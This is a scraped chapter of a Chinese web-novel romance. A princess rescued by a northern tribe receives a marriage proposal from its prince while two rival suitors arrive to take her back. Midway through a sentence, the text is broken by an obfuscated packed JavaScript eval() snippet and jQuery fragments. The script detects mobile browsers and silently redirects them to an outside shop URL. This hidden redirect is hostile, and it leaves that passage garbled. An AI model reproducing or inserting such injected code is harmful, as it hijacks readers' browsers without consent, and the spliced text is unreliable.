57.金镯易递情难断

作品:《太液池里可以养鸬鹚吗

    卢恩慈将手腕上的金镯取下,交由格日娜:“这是秦将军特意托人送我的。帮我交过去,他们就知道我安然无恙。”


    “好。”格日娜接过金镯,在手上掂量掂量:“克重不小呢,秦将军真大方哪。”


    “但经过这一遭事,才知道这不过身外之物。”卢恩慈饮尽杯中的牛奶:“遇到狼时,我哪里还想着什么金银珠宝?只想着活命。”


    “雪夜遇狼,你能这般全须全尾地在这。”格日娜塞给卢恩慈一块牛轧糖:“按你们中原的话说,是‘置之死地而后生’。”


    “哈哈,大难不死,必有后福。”卢恩慈也用轻松的语气调侃,按捺心底劫后余生的情绪。


    格日娜不再言语,用丝帛将金手镯包好,叫来自己得力的手下:“用最快的速度,赶去凉州,报告长公主的消息。”


    手下领了命,离开帐内。


    格日娜握住卢恩慈的手:“你先好好休息。”


    “没错,最好在我们这待几天!”海日恒插话:“我给你做烤全羊吃,可香了!”


    “他们得消息后就会派人来接我。”卢恩慈摇摇头:“你们已经帮我许多了,不必如此大费周章。”


    “一头羊而已,怎么算大费周章呢?”海日恒摇晃着卢恩慈的胳膊:“我已经让人去烤了,中午应该就能吃到了。”


    “谢谢。”卢恩慈想问问那两个孩子的状况,海日恒的脸忽然凑到她眼前。


    “你变了!”海日恒细细端详着卢恩慈。


    距离上次相见才大半年,她的五官模样没有变化,可就是像换了一个人!


    “能不变吗?”格日娜把海日恒拉远:“被选中和亲,又代大周皇上守边,出这么多变故,怎么还能和以前一样?”


    “幸亏秦将军把塞柱部那伙人灭了!”海日恒恨恨地咬咬牙:“塞柱部只会偷抢打砸,你要是真去和他们和亲了,我一定去抢亲!”


    “抢什么抢?女人又不是货物!”格日娜纠正道:“你直接把长公主救出来就行了。”


    “恩慈,我要是救了你,你能不能和我成亲?”海日恒一个直球打过来。


    卢恩慈听了此话,眼睛都忘了眨。


    “你别整天胡思乱想了!”格日娜被自家弟弟无语住了。


    “如果你一定要来北戎和亲,你会不会选我?”海日恒不依不挠。


    “如果真是这样——”卢恩慈笑起来:“会吧。”


    “我就等你这句话!”海日恒自顾自地雀跃起来:“你等着我,我去看看烤全羊烤得怎么样了!”


    “你没被他吓到吧。”格日娜笑着叹了口气:“他被宠坏了,心性还跟小孩子一样。”


    “率真自然,这是好事。”卢恩慈才被海日恒所救,为他说好话。


    “那你对他感觉怎么样?”自春猎偶遇卢恩慈后,海日恒就对卢恩慈念念不忘。


    弟弟的心事,格日娜看在眼里,只觉得两人有缘无分。


    但现在卢恩慈来到凉州,再次遇上自己弟弟。这等天赐的缘分,她这个做姐姐的当然要帮自己弟弟一把,探探卢恩慈的心意。


    “很不错啊。”卢恩慈客气道。


    “长公主,我实话和你说。”格日娜挥挥手摒退帐中的下人:“海日恒他自小只爱骑马打猎,但自从见了你,他就一直念叨着要再见你一面。”


    “这不就再见了吗?”卢恩慈笑笑:“只要你们不嫌麻烦,我之后常来这里玩。”


    “别打岔,你能听懂我意思!”格日娜摆弄着茶几上的糕点:“他这是对你起了恋心。”


    卢恩慈本来要吃一块糕点的,听了这话,差点噎住。


    “听闻你要和塞柱部和亲,他在部落里闹着也要向大周求娶。他刚说要去抢亲,是他的真心话。”格日娜对情窦初开的海日恒没招了,把他心事全告诉了卢恩慈。


    “我本以为海日恒他性子就是这般好爽,没想到他对我有这份心思。”卢恩慈放下糕点,听了这话,她一个头两个大。


    “他对旁人高傲得很,可不会如此殷勤。”格日娜无奈道:“他犟得很,认准了什么,十头牛也拉不回来。我问他,你为什么喜欢长公主?”


    卢恩慈不由得竖起耳朵。


    “他先是害臊地不承认。后来说,他喜欢你身上的一股劲儿。具体是什么劲儿,他也说不上来。可能爱情就是这么难琢磨。”格日娜笑笑。


    格日娜见卢恩慈不言语,斟酌着措辞:“不是我吹自家人,海日恒外貌品性都是北戎各部闻名得好。长公主可对他有意?”


    “这哪是我有意无意的问题?”卢恩慈连连摆手:“我不可能和亲的!”


    “不是和亲,不是和亲!”格日娜连忙摆手:“是让他嫁到大周去,给你做驸马!”


    “啊?”卢恩慈这下子真被糕点噎住了,咳嗽着喝了几杯牛奶才压下去。


    “我打听过了,长公主您还未有婚约。”格日娜为了海日恒也是豁出去了:“我们北戎会给他准备丰厚嫁妆的,你娶了他,不会亏的!”


    “这——海日恒会同意吗?”卢恩慈尴尬地直挠头。


    “他当然会同意啦!”格日娜话语间紧追不舍,不容卢恩慈回避:“因为这是海日恒亲自提议的。”


    “他自己提的!”卢恩慈猛然站起。


    “对啊,而且部落同意了。过些时候,就派使者去大周商量这事。”格日娜跟着站起:“所以,我提前和你说一声。”


    可是,她其实和商泽亭有婚约,只是因为意外的和亲才没有公布。


    而且,她和商泽亭私定终身。商泽亭随她千里至边疆,她不想辜负他。


    原本打算在凉州站稳脚跟,经营些自己的产业,风风光光地迎商泽亭进门。格日娜给她带来的这突如其来的消息,把她的计划全打乱了。


    卢恩慈脑子一团乱麻,正想和格日娜细说,帐外传来不小的动静。


    一人冲进帐内。


    那男子身如白杨挺拔,剑眉星目。


    他手执长枪,一枪挑开帐帘,颇有种一夫当关,万夫莫开的气势。


    他见到卢恩慈,像有千言万语要说。但只单膝跪地:“臣秦牧山拜见长公主,前来接您回凉州。”


    等等,这声音有点耳熟。


    “是你!”卢恩慈认出他来:“之前我们在城墙上见过的,我不想说明身份,自称长公主侍女,你还记得吗?”


    秦牧山当然记得。


    他只想找个地缝钻进去——回想起曾对长公主说的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090952|192395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话,他不会被长公主认成痴汉吧!


    “欸,看着秦将军,还有些面熟。”卢恩慈看着秦将军,总觉得之前在哪里见过。


    秦牧山犹豫着——要不要和卢恩慈说两人其实在七夕夜见过面,帐外的打斗声越来越激烈。


    “你说有婚约就有婚约了?拿出证据来,口说无凭!”海日恒丝毫不畏惧商泽亭抽出剑刃,赤手空拳躲过剑光:“或者我们来比试一场,谁赢谁和长公主结亲!”


    商泽亭不想在北戎人的营地惹出是非,他的当务之急是把卢恩慈接回去:“你若不信,待会可亲自问长公主。”


    海日恒气得转身,看到卢恩慈一脸懵地过来,立刻冲到她身前:“你和他有婚约了?”


    格日娜也侧目望过来。卢恩慈没有隐瞒:“有。但因为我被选去和亲,这道赐婚就搁置了。”


    “他不是你夫子吗?怎么就成你的未婚夫了?”海日恒一脸不可置信。


    “夫子难道不可以是夫君吗?”商泽亭将卢恩慈和海日恒拉开:“长公主想让我是她的什么人,我就可以是什么人!”


    “你们——”海日恒看到卢恩慈任由商泽亭揽住,二人间的亲昵不是装出来的。


    他梗着脖子,努力忍住要滚落的泪珠,问卢恩慈:“你喜欢他吗?”


    “喜欢的。”卢恩慈点头。


    “那我呢?你喜欢我吗?”海日恒接着问。


    “也喜欢的,只是——”卢恩慈不反感海日恒,他和她一起救过福花,亲手救了自己,是自己的恩人,怎么会不喜欢?


    海日恒不等卢恩慈说完,逃也似的离开。


    喜欢他就行!只要卢恩慈不讨厌他,他就有机会!


    海日恒翻身上马,将冬牧场抛诸脑后。


    阿娘曾告诉他,捕猎是需要耐心的。


    比如猎鹿时,有人可能比他先射中,但是最终鹿会死于谁手?不见得是那个最先射中鹿的人。


    海日恒勒住缰绳,一人一马漫步于雪原之上。


    远处地平线,红日悬于尽头,一只飞鸟掠过天际。


    海日恒平稳情绪,双臂张开弓箭。


    飞鸟被一箭射中。


    他需要耐心,长久的耐心。


    冬牧场里。


    和卢恩慈一起的那两个小孩身子都无碍了,秦牧山和商泽亭也暗示卢恩慈该回去了。


    卢恩慈始终等不到海日恒回来,便道:“格日娜,感谢你们部落的救助,我这就回去了。”


    “好,以后有空常来玩呀。”格日娜朝卢恩慈挥挥手告别。


    回凉州的路上,众人心怀各异。


    卢恩慈重新思考对北戎的看法——这对维护大周长久的安宁极为重要。以后该如何对待北戎,需要有全新的思路。


    秦牧山心里五味杂陈——本以为有商泽亭一个情敌就够了,怎么又冒出来一个!


    商泽亭待卢恩慈回到屋宅,直接把她拉进卧房。


    “我还想和雪青说几句话呢!”卢恩慈想要开门出去,门被商泽亭死死按住。


    卢恩慈看向商泽亭,忽地有些害怕。


    商泽亭此刻眼神空洞,表情如冰冻三尺般阴寒,形似鬼魅。


    “您选我,还是要选海日恒?”